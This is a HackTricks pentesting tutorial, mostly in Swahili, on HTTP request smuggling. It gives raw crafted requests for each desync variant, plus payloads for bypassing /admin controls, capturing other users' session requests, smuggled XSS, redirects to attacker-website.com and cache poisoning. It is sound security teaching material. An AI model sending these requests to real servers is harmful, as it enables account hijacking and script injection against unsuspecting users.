HTTP Request Smuggling / HTTP Desync Attack

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

Angalia subscription plans!

Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.

Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.

What is

Udhaifu huu hutokea wakati desyncronization kati ya front-end proxies na back-end server unamruhusu attacker kutuma HTTP request ambayo itatafsiriwa kama request moja na front-end proxies (load balance/reverse-proxy) na kama request 2 na back-end server.
Hii inamruhusu mtumiaji kurekebisha request inayofuata inayofika kwenye back-end server baada ya yake.

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Reality

The Front-End (a load-balance / Reverse Proxy) process the content-length or the transfer-encoding header and the Back-end server process the other one provoking a desyncronization between the 2 systems.
Hii inaweza kuwa kali sana kwa sababu attacker ataweza kutuma request moja kwa reverse proxy ambayo itatafsiriwa na back-end server kama request 2 tofauti. Hatari ya technique hii iko katika ukweli kwamba back-end server itatafsiri request ya 2 iliyodungwa kana kwamba ilitoka kwa client inayofuata na request halisi ya client huyo itakuwa sehemu ya request iliyodungwa.

Particularities

Remember that in HTTP a new line character is composed by 2 bytes:

Content-Length: This header uses a decimal number to indicate the number of bytes of the body of the request. The body is expected to end in the last character, a new line is not needed in the end of the request.
Transfer-Encoding: This header uses in the body an hexadecimal number to indicate the number of bytes of the next chunk. The chunk must end with a new line but this new line isn’t counted by the length indicator. This transfer method must end with a chunk of size 0 followed by 2 new lines: 0
Connection: Based on my experience it’s recommended to use Connection: keep-alive on the first request of the request Smuggling.

Visible - Hidden

The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it’s possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems).

This blog post proposes new ways to detect desync attacks to a system that won’t be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.

For example, sending a request with the normal host header and a “ host“ header, if the backend complains about this request (maybe becasue the value of “ host“ is incorrect) it possible means that the front-end didn’t see about the “ host“ header while the final backend did use it, higly probale implaying a desync between front-end and backend.

This would be a Hidden-Visible discrepancy.

If the front-end would have taken into account the “ host“ header but the front-end didn’t, this could have been a Visible-Hidden situation.

For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the “Host: foo/bar” was sent, the ALB returned 400, Server; awselb/2.0, but when “Host : foo/bar” was sent, it returned 400, Server: Microsoft-HTTPAPI/2.0, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation.

Note that this situation is not corrected in the AWS, but it can be prevented setting routing.http.drop_invalid_header_fields.enabled and routing.http.desync_mitigation_mode = strictest.

Basic Examples

Tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the Content-Length (CL) and Transfer-Encoding (TE) headers. These attacks can manifest in different forms, primarily as CL.TE, TE.CL, and TE.TE. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.

Basic Examples of Vulnerability Types

Tip

To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

Front-End (CL): Process the request based on the Content-Length header.
Back-End (TE): Process the request based on the Transfer-Encoding header.
Attack Scenario:
The attacker sends a request where the Content-Length header’s value does not match the actual content length.
The front-end server forwards the entire request to the back-end, based on the Content-Length value.
The back-end server processes the request as chunked due to the Transfer-Encoding: chunked header, interpreting the remaining data as a separate, subsequent request.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

Front-End (TE): Process the request based on the Transfer-Encoding header.
Back-End (CL): Process the request based on the Content-Length header.
Attack Scenario:
The attacker sends a chunked request where the chunk size (7b) and actual content length (Content-Length: 4) do not align.
The front-end server, honoring Transfer-Encoding, forwards the entire request to the back-end.
The back-end server, respecting Content-Length, processes only the initial part of the request (7b bytes), leaving the rest as part of an unintended subsequent request.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

Servers: Both support Transfer-Encoding, but one can be tricked into ignoring it via obfuscation.
Attack Scenario:
The attacker sends a request with obfuscated Transfer-Encoding headers.
Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

Both servers process the request based solely on the Content-Length header.
This scenario typically does not lead to smuggling, as there’s alignment in how both servers interpret the request length.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

Refers to scenarios where the Content-Length header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the Content-Length header (which is treated as 0), but the front-end parses it.
It’s crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

Like the previous one but using TE
Technique reported here
Example:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

`0.CL` Scenario

Katika hali ya 0.CL ombi hutumwa lenye Content-Length kama:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Na front-end haijazingatii Content-Length hivyo hutuma tu ombi la kwanza kwenda backend (hadi ile 7 kwenye mfano). Hata hivyo, backend huona Content-Length na husubiri body ambayo haiji kamwe kwa sababu front-end tayari inasubiri response.

Hata hivyo, ikiwa kuna ombi linalowezekana kutumwa kwa backend ambalo hulipwa kabla ya kupokea body ya ombi, deadlock hii haitatokea. Katika IIS kwa mfano hili hutokea kwa kutuma requests kwa maneno yaliyokatazwa kama /con (check the documentation), kwa njia hii, ombi la awali litalipwa moja kwa moja na request ya pili itakuwa na request ya victim kama:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Hii ni muhimu kusababisha desync, lakini haitakuwa na athari yoyote hadi sasa.

Hata hivyo, chapisho hilo linatoa suluhisho kwa hili kwa kubadilisha 0.CL attack kuwa CL.0 kwa double desync.

Kuvunja web server

Teknolojia hii pia ni muhimu katika hali ambapo inawezekana kuvunja web server wakati wa kusoma data ya awali ya HTTP lakini bila kufunga connection. Kwa njia hii, body ya HTTP request itachukuliwa kama next HTTP request.

Kwa mfano, kama ilivyoelezwa katika this writeup, katika Werkzeug iliwezekana kutuma baadhi ya herufi za Unicode na hii ingeifanya server ivunjike. Hata hivyo, ikiwa HTTP connection iliundwa kwa header Connection: keep-alive, body ya request haitasomwa na connection itaendelea kuwa wazi, hivyo body ya request itachukuliwa kama next HTTP request.

Kulazimisha kupitia hop-by-hop headers

Kwa kutumia vibaya hop-by-hop headers unaweza kuashiria proxy kufuta header Content-Length au Transfer-Encoding ili HTTP request smuggling iweze kutumiwa vibaya.

Connection: Content-Length

Kwa maelezo zaidi kuhusu hop-by-hop headers tembelea:

hop-by-hop headers

Kutafuta HTTP Request Smuggling

Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanikishwa kwa kutumia mbinu za timing, ambazo hutegemea kuchunguza ni muda gani inachukua kwa server kujibu requests zilizodanganywa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Kando na mbinu hizi, kuna mikakati na tools nyingine ambazo zinaweza kutumiwa kutafuta udhaifu kama huo:

Kutafuta Vulnerabilities za CL.TE Kwa Kutumia Mbinu za Timing

Method:
Tuma request ambayo, ikiwa application ina vulnerability, itasababisha back-end server kusubiri data ya ziada.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Observation:
Front-end server huchakata request kulingana na Content-Length na hukata ujumbe mapema.
Back-end server, ikitarajia ujumbe wa chunked, husubiri chunk inayofuata ambayo haifiki kamwe, na kusababisha delay.
Indicators:
Timeouts au delays ndefu katika response.
Kupokea error ya 400 Bad Request kutoka kwa back-end server, wakati mwingine ikiwa na maelezo ya server kwa undani.

Kutafuta Vulnerabilities za TE.CL Kwa Kutumia Mbinu za Timing

Method:
Tuma request ambayo, ikiwa application ina vulnerability, itasababisha back-end server kusubiri data ya ziada.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Observation:
Front-end server huchakata request kulingana na Transfer-Encoding na husambaza ujumbe mzima.
Back-end server, ikitarajia ujumbe kulingana na Content-Length, husubiri data ya ziada ambayo haifiki kamwe, na kusababisha delay.

Njia Nyingine za Kutafuta Vulnerabilities

Differential Response Analysis:
Tuma matoleo ya request yaliyo tofauti kidogo na uangalie kama responses za server zinatofautiana kwa njia isiyotegemewa, ikionyesha parsing discrepancy.
Using Automated Tools:
Tools kama extension ya Burp Suite ya ‘HTTP Request Smuggler’ zinaweza kupima moja kwa moja vulnerabilities hizi kwa kutuma aina mbalimbali za ambiguous requests na kuchanganua responses.
Content-Length Variance Tests:
Tuma requests zenye thamani tofauti za Content-Length ambazo hazilingani na urefu halisi wa content na uangalie jinsi server inavyoshughulikia mismatches kama hizo.
Transfer-Encoding Variance Tests:
Tuma requests zenye headers za Transfer-Encoding zilizofichwa au zisizo sahihi na ufuatilie jinsi front-end na back-end servers zinavyojibu tofauti kwa manipulation kama hizo.

Header ya `Expect: 100-continue`

Angalia jinsi header hii inaweza kusaidia katika exploiting a http desync katika:

Special Http Headers

Testing ya HTTP Request Smuggling Vulnerability

Baada ya kuthibitisha ufanisi wa mbinu za timing, ni muhimu kuthibitisha kama client requests zinaweza kudanganywa. Njia rahisi ni kujaribu ku-poison requests zako, kwa mfano, kufanya request kwa / itoe response ya 404. Mifano ya CL.TE na TE.CL iliyojadiliwa awali katika Basic Examples inaonyesha jinsi ya ku-poison request ya client ili kupata response ya 404, licha ya client kulenga kufikia resource tofauti.

Mambo Muhimu ya Kuzingatia

Unapopima request smuggling vulnerabilities kwa kuingilia requests nyingine, kumbuka:

Distinct Network Connections: Requests za “attack” na “normal” zinapaswa kutumwa kupitia network connections tofauti. Kutumia connection ile ile kwa zote mbili hakuthibitishi uwepo wa vulnerability.
Consistent URL and Parameters: Lenga kutumia URLs na majina ya parameters yanayofanana kwa requests zote mbili. Applications za kisasa mara nyingi hu-route requests kwenda back-end servers maalum kulingana na URL na parameters. Kuzilinganisha huongeza uwezekano kwamba requests zote mbili zitachakatwa na server ile ile, jambo la lazima kwa attack kufanikiwa.
Timing and Racing Conditions: Request ya “normal”, iliyokusudiwa kugundua interference kutoka kwa request ya “attack”, hushindana na requests nyingine za application zinazoendelea wakati huohuo. Hivyo, tuma request ya “normal” mara moja baada ya request ya “attack”. Applications zenye shughuli nyingi zinaweza kuhitaji majaribio mengi ili kuthibitisha vulnerability kwa uhakika.
Load Balancing Challenges: Front-end servers zinazofanya kazi kama load balancers zinaweza kusambaza requests kwenye back-end systems mbalimbali. Ikiwa requests za “attack” na “normal” zitaishia kwenye systems tofauti, attack haitafanikiwa. Kipengele hiki cha load balancing kinaweza kuhitaji majaribio kadhaa ili kuthibitisha vulnerability.
Unintended User Impact: Ikiwa attack yako kwa bahati mbaya inaathiri request ya user mwingine (si request ya “normal” uliyoituma kwa detection), hii inaonyesha attack yako imeathiri user mwingine wa application. Testing ya mara kwa mara inaweza kuvuruga users wengine, hivyo inahitaji tahadhari.

Kutofautisha artifacts za HTTP/1.1 pipelining dhidi ya request smuggling halisi

Connection reuse (keep-alive) na pipelining vinaweza kwa urahisi kuunda udanganyifu wa “smuggling” kwenye tools za testing zinazotuma requests nyingi kwenye socket ile ile. Jifunze kutenganisha artifacts zisizo na madhara za upande wa client kutoka kwa desync halisi ya upande wa server.

Kwa nini pipelining huunda false positives za kawaida

HTTP/1.1 hutumia tena TCP/TLS connection moja na huunganisha requests na responses kwenye stream ile ile. Katika pipelining, client hutuma requests nyingi mfululizo na hutegemea responses kwa mpangilio. False-positive ya kawaida ni kutuma tena malformed CL.0-style payload mara mbili kwenye connection moja:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Responses can look like:

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Kama server ilipuuza Content_Length iliyoharibika, hakuna FE↔BE desync. Kwa reuse, client yako kwa kweli ilituma byte-stream hii, ambayo server iliitafsiri kama requests mbili huru:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Athari: hakuna. Ume-desync tu client yako kutoka kwa server framing.

Tip

Burp modules zinazotegemea reuse/pipelining: Turbo Intruder na requestsPerConnection>1, Intruder na “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” au “Enable connection reuse”.

Litmus tests: pipelining au real desync?

Zima reuse na ujaribu tena

Katika Burp Intruder/Repeater, zima HTTP/1 reuse na epuka “Send group in sequence”.
Katika Turbo Intruder, weka requestsPerConnection=1 na pipeline=False.
Ikiwa tabia inapotea, huenda ilikuwa client-side pipelining, isipokuwa unashughulika na connection-locked/stateful targets au client-side desync.

HTTP/2 nested-response check

Tuma HTTP/2 request. Ikiwa body ya response ina nested HTTP/1 response kamili, umethibitisha backend parsing/desync bug badala ya pure client artifact.

Partial-requests probe kwa connection-locked front-ends

Baadhi ya FEs hutumia tena upstream BE connection tu ikiwa client ilitumia yake tena. Tumia partial-requests kugundua tabia ya FE inayoiga client reuse.
Tazama PortSwigger “Browser‑Powered Desync Attacks” kwa technique ya connection-locked.

State probes

Tafuta tofauti za first-request dhidi ya subsequent-request kwenye TCP connection ileile (first-request routing/validation).
Burp “HTTP Request Smuggler” ina connection‑state probe inayofanya hili kiotomatiki.

Onyesha wire kwa macho

Tumia Burp extension “HTTP Hacker” kukagua concatenation na message framing moja kwa moja wakati unajaribu reuse na partial requests.

Connection‑locked request smuggling (reuse-required)

Baadhi ya front-ends hutumia tena upstream connection tu wakati client inatumia yake tena. Real smuggling ipo lakini inategemea client-side reuse. Ili kutofautisha na kuthibitisha impact:

Thibitisha server-side bug
Tumia HTTP/2 nested-response check, au
Tumia partial-requests kuonyesha FE hutumia tena upstream tu wakati client inafanya hivyo.
Onyesha impact halisi hata kama direct cross-user socket abuse imezuiwa:
Cache poisoning: poison shared caches kupitia desync ili responses ziwaathiri users wengine.
Internal header disclosure: reflect FE-injected headers (mfano auth/trust headers) na pivoti kwenda auth bypass.
Bypass FE controls: smuggle restricted paths/methods kupita front-end.
Host-header abuse: changanya na host routing quirks ili pivoti kwenda internal vhosts.
Operator workflow
Rudia kwa controlled reuse (Turbo Intruder requestsPerConnection=2, au Burp Repeater tab group → “Send group in sequence (single connection)”).
Kisha chain kwenda cache/header-leak/control-bypass primitives na onyesha cross-user au authorization impact.

Tazama pia connection‑state attacks, ambazo zina uhusiano wa karibu lakini si technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Ukitarget browser-powered/client-side desync, malicious request lazima iweze kutumwa na browser cross-origin. Header obfuscation tricks hazitafanya kazi. Zingatia primitives zinazofikiwa kupitia navigation/fetch, kisha pivoti kwenda cache poisoning, header disclosure, au front-end control bypass pale ambapo downstream components huonyesha au kuweka responses kwenye cache.

Kwa background na end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

HTTP Hacker (Burp BApp Store): hufichua low-level HTTP behavior na socket concatenation.
“Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
Turbo Intruder: udhibiti sahihi wa connection reuse kupitia requestsPerConnection.
Burp HTTP Request Smuggler: ina connection‑state probe ya kugundua first-request routing/validation.

Note

Chukulia reuse-only effects kama non-issues isipokuwa uweze kuthibitisha server-side desync na kuambatanisha concrete impact (poisoned cache artifact, leaked internal header inayowezesha privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Wakati mwingine, front-end proxies hutekeleza security measures, zikikagua incoming requests. Hata hivyo, measures hizi zinaweza kuzungukwa kwa kutumia HTTP Request Smuggling, na kuruhusu unauthorized access kwa restricted endpoints. Kwa mfano, kufikia /admin kunaweza kupigwa marufuku externally, huku front-end proxy ikizuiya kikamilifu majaribio kama hayo. Hata hivyo, proxy hii inaweza kushindwa kukagua embedded requests ndani ya smuggled HTTP request, na kuacha loophole ya kupita vizuizi hivi.

Zingatia mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inavyoweza kutumika kupita front-end security controls, hasa ikilenga path ya /admin ambayo kwa kawaida inalindwa na front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Katika shambulio la CL.TE, kichwa cha Content-Length hutumiwa kwa ombi la awali, wakati ombi lililopachikwa linalofuata hutumia kichwa cha Transfer-Encoding: chunked. Front-end proxy hushughulikia ombi la awali la POST lakini hushindwa kuchunguza ombi lililopachikwa la GET /admin, na hivyo kuruhusu ufikiaji usioidhinishwa wa njia ya /admin.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Kinyume chake, katika shambulio la TE.CL, ombi la awali la POST linatumia Transfer-Encoding: chunked, na ombi lililopachikwa linalofuata huchakatwa kulingana na kichwa cha Content-Length. Sawa na shambulio la CL.TE, front-end proxy hulipuuza ombi la GET /admin lililosmuggled, na hivyo bila kukusudia kuruhusu ufikiaji wa njia iliyozuiwa ya /admin.

Kufichua kuandikwa upya kwa ombi la front-end

Applications mara nyingi hutumia front-end server kurekebisha requests zinazoingia kabla ya kuzipitisha kwa back-end server. Marekebisho ya kawaida yanahusisha kuongeza headers, kama vile X-Forwarded-For: <IP of the client>, ili kusambaza IP ya client kwenda kwenye back-end. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwa kuwa huenda kukafichua njia za kuepuka protections au kugundua taarifa au endpoints zilizofichwa.

Ili kuchunguza jinsi proxy inavyobadilisha request, tafuta POST parameter ambayo back-end hui-echo kwenye response. Kisha, tengeneza request, ukitumia parameter hii mwisho, kama ifuatavyo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Katika muundo huu, vipengele vya ombi vinavyofuata huongezwa baada ya search=, ambayo ni parameter inayoonekana kwenye response. Uakisi huu utaonyesha headers za ombi linalofuata.

Ni muhimu kulinganisha header ya Content-Length ya ombi lililojengewa ndani na urefu halisi wa content. Kuanza na value ndogo na kuongeza taratibu kunashauriwa, kwa sababu value ya chini sana itakata data iliyoakisiwa, ilhali value ya juu sana inaweza kusababisha ombi kutoa error.

Technique hii pia inatumika katika muktadha wa vulnerability ya TE.CL, lakini ombi linapaswa kuishia na search=\r\n0. Bila kujali newline characters, values zitaongezwa kwenye search parameter.

Mbinu hii hasa hutumika kuelewa marekebisho ya request yaliyofanywa na front-end proxy, kimsingi ikifanya uchunguzi unaoelekezwa yenyewe.

Capturing other users’ requests

Inawezekana capture requests za user anayefuata kwa kuongeza request mahususi kama value ya parameter wakati wa POST operation. Hivi ndivyo inavyoweza kufanywa:

Kwa kuongeza request ifuatayo kama value ya parameter, unaweza kuhifadhi request ya client anayefuata:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Katika hali hii, parameter ya comment imelengwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana hadharani. Kwa hiyo, yaliyomo ya ombi linalofuata yataonekana kama maoni.

Hata hivyo, mbinu hii ina mapungufu. Kwa ujumla, inanasa data hadi kwenye delimiter ya parameter inayotumiwa katika ombi lililosmuggled. Kwa uwasilishaji wa fomu uliosimbwa kwa URL, delimiter hii ni herufi &. Hii inamaanisha kuwa yaliyomo yaliyokamatwa kutoka kwenye ombi la mtumiaji mhasiriwa yatasimama kwenye & ya kwanza, ambayo huenda hata ikawa sehemu ya query string.

Zaidi ya hayo, ni muhimu kutambua kwamba mbinu hii pia inawezekana na udhaifu wa TE.CL. Katika hali hizo, ombi linapaswa kuishia na search=\r\n0. Bila kujali newline characters, maadili yataongezwa kwenye parameter ya search.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizo na udhaifu wa Reflected XSS, ikitoa faida kubwa:

Mwingiliano na watumiaji wa lengo hauhitajiki.
Inaruhusu ku-exploit XSS katika sehemu za ombi ambazo kwa kawaida hazifikiwi, kama vile HTTP request headers.

Katika hali ambapo tovuti ina udhaifu wa Reflected XSS kupitia User-Agent header, payload ifuatayo inaonyesha jinsi ya ku-exploit udhaifu huu:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Payload hii imeundwa ili kutumia udhaifu kwa:

Kuanzisha ombi la POST, ambalo linaonekana la kawaida, likiwa na kichwa Transfer-Encoding: chunked kuonyesha kuanza kwa smuggling.
Kufuata na 0, kuashiria mwisho wa body ya ujumbe wa chunked.
Kisha, ombi la GET lililosmugglewa linaingizwa, ambapo kichwa User-Agent huingizwa na script, <script>alert(1)</script>, na kusababisha XSS wakati server inachakata ombi hili la baadaye.

Kwa kuendesha User-Agent kupitia smuggling, payload inapita vizuizi vya kawaida vya request, hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.

HTTP/0.9

Caution

Ikiwa content ya user inaakisiwa kwenye response yenye Content-type kama text/plain, kuzuia execution ya XSS. Ikiwa server inasaidia HTTP/0.9 inaweza kuwa inawezekana kupita hili!

Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na hutumia tu verbs za GET na halijibu kwa headers, bali body pekee.

Katika writeup hii, hili lilitumiwa vibaya kwa request smuggling na endpoint vulnerable ambayo itarudisha input ya user ili kusmuggle request kwa HTTP/0.9. Parameter ambayo ingeakisiwa kwenye response ilikuwa na fake HTTP/1.1 response (yenye headers na body) hivyo response itakuwa na valid executable JS code yenye Content-Type ya text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Applications mara nyingi huredirect kutoka URL moja kwenda nyingine kwa kutumia hostname kutoka Host header kwenye redirect URL. Hii ni kawaida kwa web servers kama Apache na IIS. Kwa mfano, kuomba folder bila trailing slash husababisha redirect ili kuongeza slash:

GET /home HTTP/1.1
Host: normal-website.com

Matokeo katika:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Ingawa inaonekana haina madhara, tabia hii inaweza kudanganywa kwa kutumia HTTP request smuggling ili kuelekeza watumiaji kwenye tovuti ya nje. Kwa mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ombi hili lililosmuggled linaweza kusababisha ombi la mtumiaji linalochakatwa linalofuata kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Matokeo katika:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Katika hali hii, ombi la mtumiaji la faili ya JavaScript linatekwa. Mshambuliaji anaweza kuhatarisha mtumiaji kwa kuhudumia JavaScript hatari kama jibu.

Kutumia Web Cache Poisoning kupitia HTTP Request Smuggling

Web cache poisoning inaweza kutekelezwa ikiwa kipengele chochote cha front-end infrastructure kina cache content, kwa kawaida ili kuboresha performance. Kwa kubadilisha jibu la server, inawezekana poison the cache.

Hapo awali, tuliona jinsi majibu ya server yangeweza kubadilishwa ili kurudisha kosa la 404 (rejea Basic Examples). Vivyo hivyo, inawezekana kumdanganya server ili iwasilishe content ya /index.html kama jibu la ombi la /static/include.js. Kwa hiyo, content ya /static/include.js hubadilishwa kwenye cache na ile ya /index.html, na kufanya /static/include.js isipatikane kwa watumiaji, jambo linaloweza kusababisha Denial of Service (DoS).

Mbinu hii inakuwa na nguvu zaidi hasa ikiwa Open Redirect vulnerability inagunduliwa au ikiwa kuna on-site redirect to an open redirect. Vulnerabilities kama hizi zinaweza kutumiwa kuchukua nafasi ya content iliyohifadhiwa kwenye cache ya /static/include.js na script iliyo chini ya udhibiti wa mshambuliaji, kimsingi kuwezesha mashambulizi ya Cross-Site Scripting (XSS) kwa kiwango kikubwa dhidi ya wateja wote wanaoomba /static/include.js iliyosasishwa.

Hapa chini kuna mfano wa kutumia cache poisoning pamoja na on-site redirect to open redirect. Lengo ni kubadilisha content ya cache ya /static/include.js ili itoe JavaScript code inayodhibitiwa na mshambuliaji:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Kumbuka ombi lililopachikwa linalolenga /post/next?postId=3. Ombi hili litaelekezwa upya kwenda /post?postId=4, likitumia thamani ya Host header kubaini domain. Kwa kubadilisha Host header, mshambuliaji anaweza kuelekeza ombi kwenda kwenye domain yake (on-site redirect to open redirect).

Baada ya socket poisoning kufanikiwa, GET request kwa /static/include.js inapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la on-site redirect to open redirect na kuchukua maudhui ya script yanayodhibitiwa na mshambuliaji.

Baadaye, ombi lolote kwa /static/include.js litatumikia maudhui yaliyohifadhiwa kwenye cache ya script ya mshambuliaji, hivyo kuzindua shambulio pana la XSS.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

Katika web cache poisoning, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya hutolewa kutoka cache kwa watumiaji wengine wa application.

